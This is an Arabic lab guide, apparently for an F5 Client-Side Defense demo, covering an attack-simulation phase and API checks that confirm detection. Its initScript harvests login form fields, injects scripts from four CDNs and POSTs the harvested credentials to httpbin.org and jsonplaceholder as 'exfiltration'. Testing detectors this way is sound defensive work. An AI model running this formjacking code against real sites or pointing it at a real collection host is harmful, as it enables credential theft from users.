تخطَّ إلى المحتوى

المرحلة 2 — الهجوم

تُولِّد المرحلة 2 حركة مرور هجوم محاكاة ضد التطبيق المحمي وتؤكد أن CSD اكتشفها. يجب أن تكتمل المرحلة 1 — أي أن تنجح جميع فحوصات الخطوة 7 — قبل المتابعة.

بعد التحقق من البنية التحتية (نجاح جميع فحوصات الخطوة 7 في المرحلة 1)، شغِّل نصوص محاكاة الهجوم لتوليد اكتشافات CSD. تُعرَّف النصوص في دليل اكتشاف التشغيل ومكتبة نصوص الهجوم.

التنفيذ الآلي بالذكاء الاصطناعي

Section titled “التنفيذ الآلي بالذكاء الاصطناعي”

تُشغِّل المساعدات الذكية التي تمتلك أدوات أتمتة المتصفح محاكاة الهجوم برمجياً:

  1. التنقل باستخدام initScript — انتقل أولاً إلى about:blank لضمان سياق مستند نظيف (لتجنب تراكم initScripts القديمة من التنقلات السابقة)، ثم استخدم navigate_page للانتقال إلى http://$F5XC_DOMAINNAME/#/login مع initScript يحفظ setInterval وclearInterval وfetch وconsole.log الأصلية قبل أن يُعدِّلها zone.js، ويستطلع حقول نموذج تسجيل الدخول، ويملأ بيانات الاعتماد عبر أداة الضبط الأصلية HTMLInputElement.prototype.value، وينفِّذ النص البرمجي للاكتشاف المدمج فوراً. استخدم initScript الحرفي أدناه.
  2. إغلاق لافتة الترحيب — استخدم press_key مع Escape لإغلاق لافتة الترحيب. في الزيارات اللاحقة قد لا تظهر اللافتة (بسبب استمرار ملفات تعريف الارتباط). يُغلَق مربع حوار موافقة ملفات تعريف الارتباط تلقائياً بمفتاح Escape
  3. الانتظار للاكتمال — انتظر 10 ثوانٍ لاكتمال جميع استدعاءات تحميل/خطأ نصوص CDN وحلول وعود fetch
  4. التقاط الأدلة — استخدم list_console_messages للتحقق من وجود [CSD Demo] Simulation complete ونتائج تحميل CDN؛ واستخدم list_network_requests مُصفَّاً للأنواع script وfetch للتحقق من رموز حالة HTTP (‏200/201 للنجاح، وpending للطلبات المُعلَّقة)

‏initScript للمرحلة 2 (حرفياً — استخدمه كما هو بالضبط):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

يُنفِّذ المشغِّلون الذين لا يمتلكون أدوات أتمتة المتصفح الخطوات يدوياً:

  1. انتقل إلى صفحة تسجيل الدخول للتطبيق المحمي: http://xF5XC_DOMAINNAMEx/#/login
  2. أدخل بيانات اعتماد وهمية — اكتب test@example.com في حقل البريد الإلكتروني وP@ssword123 في حقل كلمة المرور (لا تُرسل النموذج)
  3. افتح أدوات المطورين — اضغط F12 وانتقل إلى علامة تبويب Console
  4. شغِّل النص البرمجي للاكتشاف المدمج — الصق النص من اكتشاف التشغيل — تشغيل النص البرمجي للمحاكاة المدمجة في وحدة التحكم واضغط Enter
  5. تحقق من مخرجات وحدة التحكم — تأكد من أن المخرجات المرحلية لـ [CSD Demo] تُظهر: حصاد حقول النموذج، وحقن النصوص من 4 نطاقات CDN، وتسريب البيانات إلى نقطتَي نهاية
الإشارةالسلوكالاكتشاف
حصاد حقول النموذجيقرأ قيم حقلَي البريد الإلكتروني وكلمة المرورالنصوص التي تقرأ حقول النماذج الحساسة — مُصنَّفة بمخاطر عالية
حقن النصوصيحقن 4 وسوم <script> من cdn.jsdelivr.net وesm.sh وunpkg.com وga.jspm.ioما يصل إلى 4 نطاقات نصوص طرف ثالث جديدة مكتشفة (يتفاوت توافر CDN)
تسريب البياناتيُرسل البيانات المحصودة عبر fetch إلى www.httpbin.org وjsonplaceholder.typicode.comاستدعاءات شبكة إلى نطاقات خارجية

يجب أن يُبلِّغ المساعد الذكي عما يلي. بالنسبة للتنفيذ الآلي بالذكاء الاصطناعي، تُلتقَط الأدلة برمجياً عبر list_console_messages (تُسجِّل دالة الاستطلاع في initScript النتائج في وحدة التحكم). بالنسبة للتنفيذ اليدوي، يقرأ المشغِّل مخرجات وحدة تحكم المتصفح.

الفحصالمتوقعالحالة
تحميل صفحة تسجيل الدخول200 OK عند http://$F5XC_DOMAINNAME/#/loginناجح / فاشل
تنفيذ نص وحدة التحكم[CSD Demo] Simulation complete في مخرجات وحدة التحكمناجح / فاشل
الحقول المحصودةالعدد > 0 في مخرجات وحدة التحكمناجح
النصوص المحقونة1-4 نطاقات CDN في مخرجات وحدة التحكم (قد يفشل بعضها بأخطاء الموارد)ناجح إذا ظهر أي نطاق CDN
قنوات التسريبمحاولتا fetch POST في مخرجات وحدة التحكمناجح

الخطوة 9: التحقق من الاكتشاف عبر API

Section titled “الخطوة 9: التحقق من الاكتشاف عبر API”

استعلم عن نقاط نهاية CSD API للتأكد من ظهور الاكتشافات. استخدم حلقة الاستطلاع: استعلم عن /detected_domains كل 60 ثانية؛ تابع فور نجاح DET-3. إذا لم ينجح DET-3 بعد 10 دقائق، تحقق من تهيئة CSD. إذا لم ينجح DET-3 بعد 30 دقيقة، أوقف العملية وأبلغ المشغِّل. هذه النقاط موثَّقة في مرجع API وتستخدم نفس المصادقة والمساحة الاسمية من الخطوات السابقة.

استعلم عن النصوص المكتشفة في آخر 24 ساعة:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
الحقلالمتوقعالحالة
total> 0 (نصوص مكتشفة)ناجح إذا > 0؛ معلَّق إذا كان 0 لكن /detected_domains يُظهر نطاقات التسريب
أسماء النصوصيتضمن نطاقات CDN (cdn.jsdelivr.net وesm.sh وunpkg.com وga.jspm.io) في script_nameناجح إذا ظهرت نطاقات CDN المحقونة
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
الحقلالمتوقعالحالة
total_domains> 0ناجح إذا > 0
قائمة النطاقاتتتضمن نطاقات CDN والتسريبناجح إذا ظهرت النطاقات المتوقعة
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
الحقلالمتوقعالحالة
total> 0ناجح إذا > 0؛ معلَّق إذا كان 0 لكن DET-3 ناجح
nameيتضمن email وpasswordناجح إذا ظهرت الحقول الحساسة
sensitivitySensitive لحقلَي البريد الإلكتروني وكلمة المرورناجح إذا صنَّف التعلم الآلي بصحة

بعد جميع استعلامات الاكتشاف، اعرض حالة الاكتشاف النهائية:

معرِّف الاختبارالفحصالحالة
DET-1النصوص مكتشفة (نقطة نهاية /scripts)ناجح إذا > 0؛ معلَّق إذا كانت فارغة لكن DET-3 ناجح
DET-2نطاقات CDN مكتشفةناجح / فاشل
DET-3نطاقات التسريب مكتشفة (/detected_domains)المؤشر الأساسي — ناجح إذا ظهر www.httpbin.org أو jsonplaceholder.typicode.com
DET-4حقول النموذج مكتشفة (نقطة نهاية /formFields)ناجح إذا > 0؛ معلَّق إذا كانت فارغة لكن DET-3 ناجح

اكتملت المرحلة 2. تابع إلى المرحلة 3 — التخفيف لتطبيق قواعد التخفيف والتحقق من حظر النطاقات.